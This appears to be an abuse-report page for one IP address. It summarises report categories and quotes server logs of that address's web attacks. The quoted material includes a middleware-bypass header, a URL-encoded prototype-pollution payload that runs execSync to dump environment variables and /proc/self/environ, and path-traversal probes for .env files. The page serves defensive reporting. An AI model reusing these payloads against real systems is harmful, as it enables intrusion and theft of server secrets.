This IP address has been reported a total of
26
times from
26 distinct
sources.
34.40.119.131 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
France
with 6
reports;
United States of America
with 6
reports;
Germany
with 5
reports.
The most common categories in these recent reports were:
Web App Attack
21
times;
Brute-Force
7
times;
Bad Web Bot
4
times;
Port Scan
3
times;
DDoS Attack
2
times;
Other
4
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
{"level":"info","ts":1793167876.6557686,"logger":"http.log.access.log1","msg":"handled request","req ...
show more{"level":"info","ts":1793167876.6557686,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"34.40.119.131","remote_port":"57962","client_ip":"34.40.119.131","proto":"HTTP/2.0","method":"GET","host":"status.analyzeyouroil.com","uri":"/.env.local?import&raw","headers":{"Accept":["*/*"],"Cookie":["REDACTED"],"X-Middleware-Subrequest":["src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"],"X-Nextjs-Data":["1"],"User-Agent":["DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"],"Accept-Encoding":["gzip"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h2","server_name":"status.analyzeyouroil.com","ech":false}},"bytes_read":0,"user_id":"","duration":0.001042769,"size":0,"status":429,"resp_headers":{"Server":["Caddy"],"Alt-Svc":["h3=\":443\"; ma=2592000"],"Retry-After":["1"]}}
{"level":"info","ts":1793167876.6596103,"logger":"http.lo
...
show less
Repeated exploit attempts, for example: / 0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c ...
show moreRepeated exploit attempts, for example: / 0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c%22status%22%3a%22resolved%5fmodel%22%2c%22reason%22%3a%2d1%2c%22value%22%3a%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c%22%5fresponse%22%3a%7b%22%5fprefix%22%3a%22process%2emainModule%2erequire%28%27child%5fprocess%27%29%2eexecSync%28%27env+2%3e%2fdev%2fnull+%7c%7c+cat+%2fproc%2fself%2fenviron+2%3e%2fdev%2fnull%27%29%3b%22%2c%22%5fformData%22%3a%7b%22get%22%3a%22%241%3aconstructor%3aconstructor%22%7d%7d%7d&1=%22%24%400%22 (HTTP/1.1 port 443, user agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36")
show less
Web scanning: probed for /.env.production, /....//....//....//..../.env, /.env.backup, /auth/.env an ...
show moreWeb scanning: probed for /.env.production, /....//....//....//..../.env, /.env.backup, /auth/.env and 4 more. 157 requests, all refused (HTTP 4xx), 2026-10-27 17:35–17:36 UTC.
show less
